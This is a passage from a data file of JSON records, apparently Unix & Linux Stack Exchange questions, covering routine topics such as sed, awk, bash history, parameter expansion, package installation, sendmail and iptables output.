`tee` can fork output to the terminal (stdout) and to a file, is there a reverse function that can be used for input, or at least a method that can be applied to most Linux/Unix commands?"} {"_id": "121645", "title": "configure package in non-standard way and resolve library requirements", "text": "I am installing a package (dia-0.96.1) in non-standard way on opensuse-11 system which I don't have root access. When I start to configure the package with command: ./configure --prefix=/home/myusername/dia I get the error: No package 'libxml-2.0' found. However I've installed in the same way `libxml2-2.9.1` package in my home directory without any error. So now when I use: ./configure --prefix=/home/myusername/dia --libdir=/home/myusername/libxmldir I still get the same error. Is there any solution to install the package in this way?"} {"_id": "122597", "title": "Sort the files in the directory recursively based on last modified date", "text": "Sort the files in the directory recursively based on last modified date I have modified a lot of files in my directory want to know what are those files by sorting them by the last modified date and in that I want some of the extensions to be excluded in the svn directory I have a lot of .svn files too which I dont want to show in the sort"} {"_id": "122596", "title": "How to remap the keys with xkeycaps?", "text": "I'm trying to remap different keys (for example, I want the \"Y\" to be \"space\"). XKeyCaps let me choose the keyboard, and shows correctly when one key is pressed. But the right click menu that allows to do the changes shows up but doesn't work (it stays up as long as the right mouse button is clicked, options are not grayed, but nothing can be selected). I'm using Fedora 20 with KDE."} {"_id": "84357", "title": "How to install lsblk on CentOS 5", "text": "I'm more used to Debian so yum and CentOS is a little new to me. Apparently, lsblk is not available on this system. I'm trying to install it via yum with no luck. I just get \"nothing to do\". I updated the CentOS-Base.repo file and ran yum clean all. It still doesn't find the package. What should be my next step?"} {"_id": "122594", "title": "Merge 2 files based on all available values of the first column in both files", "text": "I need to merge below 2 files: * **file1** : viewer 23 test 27 remark 2 * **file2** : viewer 2990 exam 200 remark 240 **merged file should be as shown below:** type value1 value2 difference viewer 23 2990 -2967 test 27 0 27 remark 2 240 -238 exam 0 200 -200"} {"_id": "84351", "title": "How does inotify work?", "text": "According to Wikipedia, > inotify is a Linux kernel subsystem which notices changes to the file > system. It replaced the previous dnotify. Programs that sync files (such as crashplan, dropbox, git) recomend in user guides that the user increase `max_user_watches` (1, 2, 3). From what I understand about inotify, the OS is \"told\" that a file has been changed, instead of requiring the OS to \"go looking\" for changes. I assume that there is an \"inotify\" file created in every directory. Is this correct? Is there a way to interact with inotify from the command line? **Resources** Why are inotify events different on an NFS mount? Inotifywait for large number of files in a directory"} {"_id": "84352", "title": "LTSP - Automatic build package selection", "text": "After recently instaling and setting up an LTSP environment, to learn more about it, using a few older spare PC's I have, I noticed that there are packages missing on the clients. In specific festival and sox. At first thought, without knowing much about the `ltsp-build-client` mechanism, thought it was maybe the fact that the server is 64bit (So possibly had a 64 bit version of these packages installed), that was the reason for LTSP excluding it from the 32bit image. However, after building a 64bit image, and booting it, there was also no trace of these packages files. I ended up having success with `chroot`'ng into the directory that contained the image files, used `apt-get` to install a copy that worked on the client, and then `ltsp-update-image`. However, would really like to know more about the LTSP build mechansim - Anyone know how LTSP decides, out of server installed packages, what to include in a client image, and what not? (I don't suppose order of installation of the three packages in question, matters?)"} {"_id": "123645", "title": "Update Linux 10 Mint Julia to 13 Maya", "text": "Everytime I try to `apt-get update` it comes up with the following: > Err http://archive.ubuntu.com Precise/main amd64 Packages > 404 Not Found [IP: 91.189.91.14 80] > Err http://archive.ubuntu.com Precise/restricted amd64 Packages > 404 Not Found [IP: 91.189.91.14 80] What am I doing wrong?"} {"_id": "15948", "title": "Building from Source on CentOS 5 or newer", "text": "I've got a few applications of which I've got to build from source files in order to make it work on CentOS (the programs do not exist in the yum repos). I may be missing something, but unlike Debian and others, where the `make` command is readily available, this program does not exist in CentOS out of the box. What is needed to allow for me to build an application from source on CentOS 5 or newer? Or does this option even exist in the first place? (NOTE: This is a command-line accessible system only, so all solutions must utilize only the command line interface)"} {"_id": "119364", "title": "How can I mount a block device from one computer to another via the network as a block device?", "text": "Is it possible to export a block device such as a DVD or CDROM and make it so that it's mountable on another computer as a block device? **NOTE:** I'm not interested in doing this using NFS or Samba, I actually want the optical drive to show up as a optical drive on a remote computer."} {"_id": "81384", "title": "Deleting commented lines in a text file using sed", "text": "I am a `sed` novice. I would like to use `sed` to delete commented lines in a text file. In my series of text files, commented lines **_begin_** with either the `#` symbol or the `@` symbol (i.e., they are files originally intended for plotting in `xmgrace`). Suppose I have the following sample file (called `sample.txt`): > > # Comment 1 > # Another comment > # Yet another comment > @ More comments > @ Still more comments > data1 > data2 > > data3 > I would like to use `sed` to modify `sample.txt`, in place, to obtain the following: > > data1 > data2 > > data3 > where there is a blank line between \"`data2`\" and \"`data3`\" in both versions of `sample.txt`. With inspiration from this Stack Overflow question, I came up with this series of (consecutive) commands: sed -i 's/#.*$//' sample.txt sed -i 's/@.*$//' sample.txt which give this resulting file: > > > > > > > data1 > data2 > > data3 > where `` is just a blank line. (I had to write it this way so that Stack Exchange would format the output correctly.) The problem with the above is that the commented lines are only replaced with blank lines, not deleted altogether. Another possibility of (consecutive) commands is: sed -i 's/#.*$//' sample.txt sed -i 's/@.*$//' sample.txt sed -i '/^$/d' sample.txt from which I obtain the following output: > > data1 > data2 > data3 > The above is, however, also wrong because the blank line between \"`data2`\" and \"`data3`\" has not been preserved (I am incorrectly deleting all blank lines, indiscriminately). How do I just delete the commented lines? I am running Ubuntu Linux. Thanks for your time!"} {"_id": "134504", "title": "How to find a Linux kernel that works ok on my PC?", "text": "I have an old laptop. The newer kernels that ship with the latest versions of the most popular Linux distributions crash from time to time. I want to use a new Linux distribution to get the latest packages and therefore I think that I need an old kernel. (correct me if there is some other solution please) How can I find the most suitable Linux kernel that doesn't break on my machine? Is there an alternative to try kernels one by one? Maybe some guidance or basic rules somewhere, a software that do this for you? I'm searching for a general answer if possible, not specific instructions. Anyway specific answers can be useful to somebody else so they are also welcomed."} {"_id": "119368", "title": "Where do sound drivers live?", "text": "A little while ago I searched for a good driver for my sound card (with surround sound support) and didn't find any. So it seems there is none. I thought I could try (even though I think nothing useful will be produced) writing my own driver for it. Now I'm a little bit stuck, because I don't even know where sound drivers run. I could imagine that they run in kernel space and I have to write them as \"regular\" kernel drivers. But I could also imagine that they are build into ALSA and I have to look at the ALSA API. Where is a good starting point to search how to start doing this."} {"_id": "15941", "title": "Debian 6: media keys in gnome-settings-daemon don't work", "text": "I am running a minimal Debian 6 x86_64 setup with `pulseaudio`, `alsa` and `gnome-settings-daemon`. Whenever I press a media key, `gnome-settings-daemon` spits the following out to `stderr`: ** (gnome-settings-daemon:4205): CRITICAL **: acme_volume_get_volume: assertion `acme_volume_open(self)' failed How can I avoid this issue?"} {"_id": "15947", "title": "Create Ubuntu USB-Installer from Debian", "text": "I have Debian Squeeze and want to create USB flash drive for install Ubuntu 11.04. I've already tried many ways: 1. boot.img.gz + mini.iso at drive's root + syslinux = installer \"couldn't found installer iso\" 2. boot.img.gz + extract mini.iso to drive's root + syslinux + replace original syslinux.cfg by isolinux.cfg from mini.iso = \"invalid keyword in syslinux.cfg\" error 3. extract normal CD iso to drive's root + grub = black screen with blinking cursor 4. UnetBootIn from repos + normal CD iso = screen with many vertical color lines At the moment I'm waiting until usb-creator.exe (launched from Windows) finish. Could you explain the right way to create Ubuntu USB-installer from Debian?"} {"_id": "113828", "title": "Finding and reloading driver from kernel", "text": "I am using Crunchbang 64 bit O.S. with a ASUS N150 wireless adapter. Everytime I close my laptop and it enters sleep mode, when I \"wake it up\" I am unable to connect back using the wireless adapter, I have to restart. My questions are: 1. Is there a way to find the specific driver name? I know its an ASUS N150 adapter with a realtek chipset 2. How can I reload the driver for the adapter without resetting the system. 3. How can I find my current kernel version via terminal (sidenote)"} {"_id": "64004", "title": "Sorting by one column then the", "text": "Say i have a output file with following: 010513 08:04 ROUTER1 192.168.1.1 68.130.5.10 HIT(1) 010513 08:04 ROUTER1 172.168.1.1 28.130.5.10 HIT(1) 010513 08:04 ROUTER1 122.168.1.1 168.130.5.10 HIT(1) 010513 08:04 ROUTER1 192.168.1.1 18.130.5.10 HIT(1) 010513 08:04 ROUTER1 152.168.1.1 58.130.5.10 HIT(1) 010513 08:04 ROUTER1 142.168.1.1 10.130.5.10 HIT(1) I'm trying to sort with the 4th column followed by 5th and having highlighted colors would work too as my true output file has about 20 columns. Tried using various grep | sort commands and having difficulty getting this to work without running my result file a few times. I dont script so I am sure there is one out there but thought I would ask if there are a combo command/variables I can try."} {"_id": "94456", "title": "How to change cron shell (sh to bash)?", "text": "Is it possible to make commands in crontab run with bash instead of sh? I know you can pass commands to bash with `-c`, but that's annoying and I never use sh anyway."} {"_id": "81381", "title": "Removing second colon", "text": "Trying to create a simple script that lists mass mailing by the queue number that appears in /var/log/maillog. I'm starting off with this: [root@ditirdlns01 ~]# lsMails(){ grep -i \"$1-bounces@xxx.edu\" /var/log/maillog | cut -f1-2,4 -d: ;} [root@ditirdlns01 ~]# Which yields: [root@ditirdlns01 ~]# lsMails systems Jul 1 15:12: AF649479A Jul 1 15:14: 024682F59 Jul 1 15:14: 067A447B9 Jul 1 15:14: 0A3EA479A Jul 1 15:14: 0DCBE5010 Jul 1 15:21: 97DAB2F59 Jul 1 15:24: D1D9B2F59 Which is perfectly alright except I want to get rid of the second colon (which in the log is what separates the minute from second, obviously. I actually don't want the second to be visible to users so cropping it out works for me). I tried piping it through sed looking for a colon preceded by a number with a space afterwards but I get identical results as before: [root@ditirdlns01 ~]# lsMails(){ grep -i \"$1-bounces@xxx.edu\" /var/log/maillog | cut -f1-2,4 -d: | sed 's/([0-9]):\\s+/ /g';} [root@ditirdlns01 ~]# lsMails systems Jul 1 15:12: AF649479A Jul 1 15:14: 024682F59 Jul 1 15:14: 067A447B9 Jul 1 15:14: 0A3EA479A Jul 1 15:14: 0DCBE5010 Jul 1 15:21: 97DAB2F59 Jul 1 15:24: D1D9B2F59 My specific question is: Why is `([0-9])` not matching a digit without including it in the result?"} {"_id": "145543", "title": "How to check the cpu temperatures core by core?", "text": "I have a Phenom X3-8450e which has a total of 3 cores. But when i ran \"sensors\" on a terminal this is what i get. > **user@PC ~ $ sensors** > >> atk0110-acpi-0 > Adapter: ACPI interface > Vcore Voltage: +0.99 V (min = +0.85 V, max = +1.60 V) > +3.3 Voltage: +3.38 V (min = +2.97 V, max = +3.63 V) > +5 Voltage: +5.02 V (min = +4.50 V, max = +5.50 V) > +12 Voltage: +11.98 V (min = +10.20 V, max = +13.80 V) > CPU FAN Speed: 1985 RPM (min = 600 RPM, max = 7200 RPM) > CHASSIS FAN Speed: 0 RPM (min = 600 RPM, max = 7200 RPM) > POWER FAN Speed: 0 RPM (min = 600 RPM, max = 7200 RPM) > CPU Temperature: +32.0\u00b0C (high = +60.0\u00b0C, crit = +95.0\u00b0C) > MB Temperature: +27.0\u00b0C (high = +45.0\u00b0C, crit = +95.0\u00b0C) As you can see it only displays \"CPU Temperature: +32.0\u00b0C\" but i would like to know the individual temperature or each core. How do i do that? Thanks."} {"_id": "69030", "title": "/etc/ld.so.conf doesn't contain /usr/lib", "text": "I am using `pkg-config` to help supply the correct libs during c++ compilation. As I understand it, it searches in directories supplied by `/etc/ld.so.conf`. My `ld.so.conf` references the following lib locations via an include directive pointing to `/etc/ld.so.conf.d/*.conf`: /usr/local/lib /lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu Problem is the library I need is under `/usr/lib` by default. Can I just add in this path to `/etc/ld.so.conf` myself or move the library or what is the recommended practice?"} {"_id": "155142", "title": "How can I cat the contents of files found using find into a single file?", "text": "I managed to shoot myself where it hurts (really bad) by reformatting a partition that held valuable data. Of course it was not intentional, but it happened. However, I managed to use `testdisk` and `photorec` to recover most of the data. So now I have all that data distributed over almost 25,000 directories. Most of the files are .txt files, while the rest are image files. There are more than 300 .txt files in each directory. I can `grep` or use `find` to extract certain strings from the .txt files and output them to a file. For example, here's a line that I've used to verify that my data is in the recovered files: find ./recup*/ -name '*.txt' -print | xargs grep -i \"searchPattern\" I can output \"searchPattern\" to a file, but that just gives me that pattern. Here's what I really would like to accomplish: Go through all the files and look for a specific string. If that string is found in a file, cat ALL the contents of that file to an output file. If the pattern is found in more than one file, append the contents of subsequent files to that output file. Note that I just don't want to output the pattern I'm searching for, but ALL the contents of the file in which the patterns is found. I think this is doable, but I just don't know how to grab all the contents of a file after grepping a specific pattern from it."} {"_id": "122561", "title": "Sendmail cannot write /var/spool/mail/root", "text": "I have a problem with sendmail (postfix is not installed) in my CentOS, the file **/var/spool/mail/root** is missing, I have tried to restart sendmail and send mail from shell with: mail -s \"test mail\" root ping 192.168.1.120 Pinging 192.168.1.120 with 32 bytes of data: Request timed out. Request timed out. Request timed out. **iptables** [root@CentOS ~]# iptables -L -v Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 11 700 ACCEPT all -- any any anywhere anywhere state RELATED,ESTABLISHED 0 0 ACCEPT icmp -- any any anywhere anywhere 0 0 ACCEPT all -- lo any anywhere anywhere 0 0 ACCEPT tcp -- any any anywhere anywhere state NEW tcp dpt:ssh 0 0 REJECT all -- any any anywhere anywhere reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 ACCEPT all -- any any anywhere anywhere PHYSDEV match --physdev-is-bridged 0 0 REJECT all -- any any anywhere anywhere reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT 8 packets, 864 bytes) pkts bytes target prot opt in out source destination Any one who can give me an idea to solve this, i'll be grateful. **brctl showstp xenbr0** [root@CentOS images]# brctl showstp xenbr0 xenbr0 bridge id 8000.080027798267 designated root 8000.080027798267 root port 0 path cost 0 max age 20.00 bridge max age 20.00 hello time 2.00 bridge hello time 2.00 forward delay 2.00 bridge forward delay 2.00 ageing time 300.00 hello timer 0.65 tcn timer 0.00 topology change timer 0.00 gc timer 109.38 hash elasticity 4 hash max 512 mc last member count 2 mc init query count 2 mc router 1 mc snooping 1 mc last member timer 1.00 mc membership timer 260.00 mc querier timer 255.00 mc query interval 125.00 mc response interval 10.00 mc init query interval 31.25 flags eth0 (0) port id 0000 state forwarding designated root 8000.080027798267 path cost 4 designated bridge 8000.080027798267 message age timer 0.00 designated port 8001 forward delay timer 0.00 designated cost 0 hold timer 0.00 mc router 1 flags"} {"_id": "122564", "title": "Installing Elementary Isis beta", "text": "How can I install Elementary OS Isis Beta? I tried to made a bootable stick using the latest iso builds but for some reason I cannot login. Having elementary OS installed on my machine, how can I update every day to the latest build? I want to update to elementary OS Isis and to be up-to-date even it is unstable."} {"_id": "52692", "title": "How do I delete a partial package in OpenBSD", "text": "While upgrading, I tried to add a package that was already there and due to some error, a partial package got created - partial-gnutls. When I try to delete this partial package, I get these errors: File /usr/local/share/locale/cs/LC_MESSAGES/pkg.qX9SMkCPZb does not exist File /usr/local/share/locale/de/LC_MESSAGES/pkg.Dfpr8PbT3X does not exist File /usr/local/share/locale/en@boldquot/LC_MESSAGES/pkg.wIH7fQJbhK does not exist File /usr/local/share/locale/en@quot/LC_MESSAGES/pkg.c8llMmPSGl does not exist Read failed: Input/output error at /usr/libdata/perl5/OpenBSD/md5.pm line 59 I checked the source code. It is some coe that adds a file into some data structure (most probably, it is finding out which files to delete) and it fails to do so because the file is no longer there. How do I get rid of this partial package?"} {"_id": "86967", "title": "Change the number of rows and columns in the TTY", "text": "I want to resize the terminal which comes up when you press `Ctrl``Alt``F1` (or `F2`,`F3`,...). 25x80 is small for a 24\" screen. Tried using stty, but the commands `stty columns 200` and `stty rows 50` does not work directly. Am I missing something OR is this a wrong approach. Ideally looking for a generalized solution, but would be content with something that works in RHEL5 and Ubuntu. It would be better if its possible using some commands which I can put in a script file rather than changing some boot-level stuff."} {"_id": "1030", "title": "Setting up a family server", "text": "I'm very new to Unix, but after having become comfortable with bash over the past year and after having played with Ubuntu recently, I've decided to make my next computer run Ubuntu, and I think my wife is on board for her next computer as well. Is it easy to set up a central family server so that each computer acts as a client for the information that is stored only in a single place? What are the options? Are there any online how-to documents for this?"} {"_id": "1037", "title": "Running continuous jobs remotely", "text": "I'm new to Linux, and I'm probably asking a fairly basic question. How do I run a continuous program on Linux? Basically, I have a program that will continuously check for content on a website. This program will be executing for several days. I do not have administrative privileges on the computer I wish to run this program on, and I do not have exclusive access to this computer either, meaning that other users can log on physically. Moreover, barring some untold disaster, the computer will be running for the entire duration of my program. I know that I can SSH into the machine and run the program. However, this is not desirable as I would need a second machine to do it (which kind of defeats the point of what I'm doing), not to mention timeout issues. Is there a way I can run my program on the computer remotely without establishing a connection of some sort after I get it started?"} {"_id": "20861", "title": "Is there a way to set the size of the history list in bash to more than 5000 lines?", "text": "No matter how much I set the `HISTSIZE` environment variable to be larger than 5000, when printing the history list with the `history` builtin, it prints only the last 5000 commands. I need that because I often have a large `.bash_history` which exceeds 5000 lines, and sometimes one needs to address an early command by pressing `Ctrl-R`, but if that command is more than 5000 commands earlier, I can't access it using that mechanism. I know I can use `grep` on the `.bash_history`, but I think the `Ctrl-R` mechanism would be much more faster (and convenient). I use gnu bash version 4.1. That is the full content of my .bashrc file: #!/bin/bash # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything [ -z \"$PS1\" ] && return # don't put duplicate lines in the history. See bash(1) for more options # ... or force ignoredups and ignorespace #HISTCONTROL=ignoredups:ignorespace:erasedups # append to the history file, don't overwrite it shopt -s histappend # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTSIZE=50000 HISTFILESIZE=500000 # check the window size after each command and, if necessary, # update the values of LINES and COLUMNS. shopt -s checkwinsize # make less more friendly for non-text input files, see lesspipe(1) [ -x /usr/bin/lesspipe ] && eval \"$(SHELL=/bin/sh lesspipe)\" # set variable identifying the chroot you work in (used in the prompt below) if [ -z \"$debian_chroot\" ] && [ -r /etc/debian_chroot ]; then debian_chroot=$(cat /etc/debian_chroot) fi # set a fancy prompt (non-color, unless we know we \"want\" color) case \"$TERM\" in xterm-color) color_prompt=yes;; esac # uncomment for a colored prompt, if the terminal has the capability; turned # off by default to not distract the user: the focus in a terminal window # should be on the output of commands, not on the prompt #force_color_prompt=yes if [ -n \"$force_color_prompt\" ]; then if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then # We have color support; assume it's compliant with Ecma-48 # (ISO/IEC-6429). (Lack of such support is extremely rare, and such # a case would tend to support setf rather than setaf.) color_prompt=yes else color_prompt= fi fi if [ \"$color_prompt\" = yes ]; then PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;32m\\]\\u@\\h\\ [\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ ' else PS1='${debian_chroot:+($debian_chroot)}\\@-\\u@\\h:\\w\\$ ' fi unset color_prompt force_color_prompt # If this is an xterm set the title to user@host:dir case \"$TERM\" in xterm*|rxvt*) PS1=\"\\[\\e]0;${debian_chroot:+($debian_chroot)}\\u@\\h: \\w\\a\\]$PS1\" ;; *) ;; esac # enable color support of ls and also add handy aliases if [ -x /usr/bin/dircolors ]; then test -r ~/.dircolors && eval \"$(dircolors -b ~/.dircolors)\" || eval \"$(dircolors -b)\" alias ls='ls --color=auto' #alias dir='dir --color=auto' #alias vdir='vdir --color=auto' alias grep='grep --color=auto' alias fgrep='fgrep --color=auto' alias egrep='egrep --color=auto' fi # some more ls aliases alias ll='ls -alF' alias la='ls -A' alias l='ls -CF' # Alias definitions. # You may want to put all your additions into a separate file like # ~/.bash_aliases, instead of adding them here directly. # See /usr/share/doc/bash-doc/examples in the bash-doc package. if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi # enable programmable completion features (you don't need to enable # this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc). if [ -f /etc/bash_completion ] && ! shopt -oq posix; then . /etc/bash_completion fi"} {"_id": "154338", "title": "Not see file NetworkManager.conf in folder /etc/NetworkManager/", "text": "My network connectivity often gets interrupted when I use the local DNS server at the company, I wanted to change `dns=dnsmasq` to `#dns=dnsmasq` in `/etc/NetworkManager/NetworkManager.conf`. But I do not see a **NetworkManager.conf**. I'm using Ubuntu 12.04."} {"_id": "11068", "title": "Difference between Gnome3 and Gnome-shell", "text": "What is the difference between gnome3 and gnome-shell, if any?"} {"_id": "11004", "title": "Becoming root from inside Vim", "text": "Sometimes I start editing configuration files in `/etc` using Vim, but forget to use `sudo` to start Vim. The inevitable result then is that after finishing my edits I encounter the dreaded notice that I don't have the permission to save the file. Mostly the edits are small enough that I just exit Vim and do the whole thing again as root. I could of course save to a location I can write to and then copy as root, but that is also somewhat annoying. But I'm sure there is an easier way to become root or use `sudo` from inside Vim, without having to discard the changes. If the method would not rely on `sudo` being set up for the user that would be even better."} {"_id": "36360", "title": "Forcing Skype window resize (under Gnome)", "text": "Using Skype 2.2 on Linux, the video which is reproduced seems to be limited to 320x240; the default options to resize the window are disabled. Is there a way to force a resize of this window? Just integer scale would be acceptable (eg. 2x only)..."} {"_id": "22387", "title": "How do ${0##*/} and ${0%/*} work?", "text": "I'm quite confused about the following regular expressions I found in a shell script: ${0##*/} ${0%/*} How do they work?"} {"_id": "127861", "title": "Expansion of *,#,% - What do they mean?", "text": "for j in * .* ; do cp $j ../$name-S$i.gid/${j%%. * }$i.${j#*.} done Could someone tell me what this for loop does? What do `*`, `%` and `#` mean? (`$name` is a path of a directory in which there are `-S1.gid` ... `-Sn.gid` directory)"} {"_id": "91895", "title": "How does the syntax \"${foo##*.}\" work to get file extensions?", "text": "Why does this command work in successfully retrieving file extension name? file_ext=${filename##*.}"} {"_id": "61073", "title": "What does this syntax mean \"${i%.avi}.mp4\"", "text": "> **Possible Duplicate:** > How do ${0##*/} and ${0%/*} work? I have encountered this type of syntax somewhere on the web : for i in *.avi do ffmpeg -i \"$i\" \"${i%.avi}.mp4\" done how does this `\"${i%.avi}.mp4\"` and how can I use it ?"} {"_id": "131161", "title": "What can I know about this part of code?", "text": "What does this part of a script do? This is a part of a scrpt in bash for j in *.* ; do cp $j ../../$name-S$i.gid/data/${j%%.*}$i.${j#*.} sed \"s/$name-S/$name-S$i/\" $j > ../../$name-S$i.gid/data/${j%%.*}$i.${j#*.} done I forgot to say that \"i\", is a parameter that goes from 1 to specific number and \"$name\" is a part of name of a folder."} {"_id": "147560", "title": "Explain this bash script: echo \"${1##*.}\"", "text": "Consider the following bash script: #!/bin/bash echo \"${1##*.}\" This script prints the extension of a file if the file name is supplied as the first command line argument, something like following: $ ./script.sh ./file.pdf In the above case `pdf` is printed. Please explain how the expression `${1##*.}` is able to extract the extension of the file. (I understand what $0, $1, $2, $# do in bash and also understand about regular expressions to some extent)"} {"_id": "74947", "title": "What does \"${x%% *}\" mean in sh?", "text": "I just saw \"$${x%% *}\" in a makefile, which means \"${x%% *}\" in sh. Why it is written in this way ? how can a makefile detect whether a command is available in the local machine? determine_sum = \\ sum=; \\ for x in sha1sum sha1 shasum 'openssl dgst -sha1'; do \\ if type \"$${x%% *}\" >/dev/null 2>/dev/null; then sum=$$x; break; fi; \\ done; \\ if [ -z \"$$sum\" ]; then echo 1>&2 \"Unable to find a SHA1 utility\"; exit 2; fi checksums.dat: FORCE $(determine_sum); \\ $$sum *.org"} {"_id": "126702", "title": "Special Parameter query - multiple used to obtain command name?", "text": "In a uni text provided us to cover bash scripting, the following variable assignment has got be stumped and I've yet to get an answer back from anyone, hence hopefully someone on here can help. name=${0##*/} This should expand to provide the name of the command entered. I can see how this is taken from argument $0, as the first character in the braces is 0. However, according to the information on the previous page (of said uni doc) and to sources I've looked at on the web so far, # means the number of arguments the script was called with, and * contains the argument as a string. I just can't understand how these all of these special parameters are expanding only to argument $0. I'd expect the name to expand to: code/script2 3 3 code/script2 fred george allison. I'd really appreciate it if someone could explain what each of the special parameters between the braces is doing in order to expand to the name: code/script2 Thanks for your help in advance! Below is the entire script and output for context: 1 #!/bin/bash 2 # A simple script showing some of the special variables 3 4 echo \"The full name of this script is $0\" 5 6 name=${0##*/} 7 8 echo \"The name of this script is $name\" 9 10 echo \"The process ID of this script is $$\" 11 12 echo \"This script was called with $# parameters\" 13 14 echo \"The parameters are \\\"$*\\\"\" 16 echo \"Parameter 1 is - $1\" 17 echo \"Parameter 2 is - $2\" 18 echo \"Parameter 3 is - $3\" prompt: code/script2 fred george allison The full name of this script is code/script2 The name of this script is script2 The process ID of this script is 3501 This script was called with 3 parameters The parameters are \"fred george allison\" Parameter 1 is - fred Parameter 2 is - george Parameter 3 is - allison"} {"_id": "28266", "title": "Can I filter how often cron emails me?", "text": "I have a few cronjobs and one of them is run every minute. I had to take a website down for two hours and it caused an error on that one specific cronjob and I got almost 120 emails in those two hours until I was done upgrading the site. Now lets say I was asleep and something happened. I don't want hundreds to thousands of emails because one cron job ran every minute and failed. Is there something I can do to limit how often it emails me while allowing it to run every minute? PS: We dont have smtp servers, we use a 3rd party so I am glad nothing was marked as spam and disabled."} {"_id": "11063", "title": "How to assign values to multiple variables in command line with bars", "text": "I am essentially trying to assing certain portions of the output of a shell command to mulitple variables, but I don't know how to do that. For simplicity's sake, assume that the command on the shell, when executes, prints one two three four which can be simulated with a echo \"one two three four\" (although the actual comannd is different) Now, I'd like to assign the second and fourth word of the output (in this case _two_ and _four_ ) to the variables _w1_ and _w2_. I thought I could use the _read_ command like so: echo \"one two three four\" | awk '{print $2 \" \" $4}' | read w1 w2 but this doesn't work, probably because the _read_ command is executed in a sub-process. So, how would I go about to achieve what I am after?"} {"_id": "28262", "title": "IP rule for IPv6", "text": "When I try to add an IP rule for IPv6 on my Linux system, it errors out: $ ip -6 rule add fwmark 0xfab lookup 0xf RTNETLINK answers: Address family not supported by protocol I checked out the IP rule code; it issues a netlink message to the kernel. Probably I need to load some module, but I don't know which. What do I need to do to fix this? I am using linux 2.6.37.3 built from kernel sources Solution: By default linux build doesn't support multiple routing tables for IPv6. You need to enable CONFIG_IPV6_MULTIPLE_TABLES for multiple IPv6 routing table support."} {"_id": "11067", "title": "Is there a way to modify a file in-place?", "text": "I have a fairly large file (35Gb), and I would like to filter this file in situ (i.e. I don't have enough disk space for another file), specifically I want to grep and ignore some patterns \u2014 is there a way to do this without using another file? Let's say I want to filter out all the lines containing `foo:` for example..."} {"_id": "28260", "title": "How to kill a daemon with its name gracefully?", "text": "I usually kill a process with `killall`. killall markdoc But I can't sure this command terminates the process gracefully. Does this command graceful termination? If it's not, how can I kill a process with its name gracefully?"} {"_id": "8662", "title": "Selecting the right GRUB", "text": "I've just installed Backtrack on my harddrive (got one), i also got Fedora and Windows 7. However, now i get the Backtrack-GRUB instead of my Fedora GRUB. How do i change that? I got a sda5 containing my Fedora GRUB so it should be easy to 'rewire' - i don't know how tho."} {"_id": "17899", "title": "creating simple command for sudo apt-get install?", "text": "I need to run these commands very often: sudo apt-get install sudo apt-get remove Can I make it simple like: install remove I think I need to write a function like this: function install(){ sudo apt-get install } ...and then need to copy paste to some location i don't know. Can anyone tell me how can I make such an `install ` command available all the time after boot?"} {"_id": "8666", "title": "How can I share a shell with my colleague w/o using VNC?", "text": "Many a times, I want my colleague to have a look at some code on my system. He will mostly do it at his free time, and will need to login as me. Is there a way I can open a new shell as me, and then **_transfer_** the shell to him on his machine, so that he can use it whenever he wants to?"} {"_id": "111170", "title": "Using AWK to delete line and output result", "text": "I have a text file and manage to find the line through output comparison. With the book title and author name. awk -F ':' '/KungFu Feet|Chuck Norris/' test.txt Kungfu Feet:Chuck Norris:12:1:1 Is there any way to delete the line using `awk` and return the output in a bash file? **EDIT** I would like to do a check for the following item before i do the deleting using awk If (( Book = KungFu Feet && Author = Chuck Norris )); do echo \"Item is found unable to delete\" else echo \"Deleting..\""} {"_id": "8668", "title": "How can I find out what happened to my Debian box?", "text": "I have an old PC lying around which I've installed Debian 6.0 on. Last night I was trying to SSH in and it wouldn't respond so I pressed the reset button. How can I find out what happened to it? It seems fine now."} {"_id": "17897", "title": "What OS should I install on old Sun Blade 1000 / Sun Blade 2000 workstations, and how should I do it?", "text": "I was given some nice old Sun UNIX workstations, Sun Blade 1000 and Sun Blade 2000. These are UltraSparc machines running Solaris 8 (which, with regard to all questions below, is useless because the former owner could not provide me with any passwords). I'd like to get them running again, and because I don't like computers on \"static display\", would prefer having some typical software on them. So, 1. what OS and application software would you suggest? I'm not too interested in 100% \"historical\" accuracy, but would like something that lends itself to demonstrating a \"typical UNIX workstation\". Bonus points if the OS you suggest can still be used to compile some useful modern software from source (like Chromium) without having to create an entire build environment from scratch. 2. How do I even boot these machines from a CD? Searching around some forums gives me the impression that I need a special Sun keyboard in order to press \"Stop-A\" during boot... can this be done on a regular PC-style keyboard?"} {"_id": "17894", "title": "How do I disable or change the caps lock key on my keyboard?", "text": "We have ergonomic keyboards at work which I'm not entirely used to. I seem to keep hitting the capslock key while I'm in `vim` and it's starting to annoy. How can I disable this key, and or change to to be another key?"} {"_id": "114527", "title": "Fedora unable to detect USB or wireless networks?", "text": "I installed Fedora(Gnome) 19 on a Dell Inspiron with Intel i3 processor, and a factory built-in Windows 7 home premium OS. The installation process completed successfully. But now when I log into Fedora I don't have internet. There are no wireless networks available, although another laptop with Windows 8 detects about 10 wireless networks in range. I tried plugging in an ethernet cable, but nothing would happen and still no internet connection, and Bluetooth too does not have any networks. I Googled and found a suggestion of installing `bluez-hid2hci`, but since I don't have internet, I downloaded the packages on a USB from another computer and came to install them on the laptop. **The Problem:** Fedora couldn't detect USB devices. I tried mounting the USB but couldn't find it anywhere. Not even in `/var/log/messages`. I ran the command `tail -f /var/log/messages` to see life messages and I inserted and removed the USB but no changes. Here's the output I get: ![photo of the screen showing tail -f /var/log/messages output](http://i.stack.imgur.com/C13SV.jpg) **My Question:** Why Can't Fedora detect wireless networks and USB drivers?"} {"_id": "114525", "title": "Proper way for setting general policy and firewall rules with libvirtd", "text": "I'm just struggling with the firewall configuration of our new KVM Host. I think by now I understand how libvirtd implements networking, but I'm missing a way to 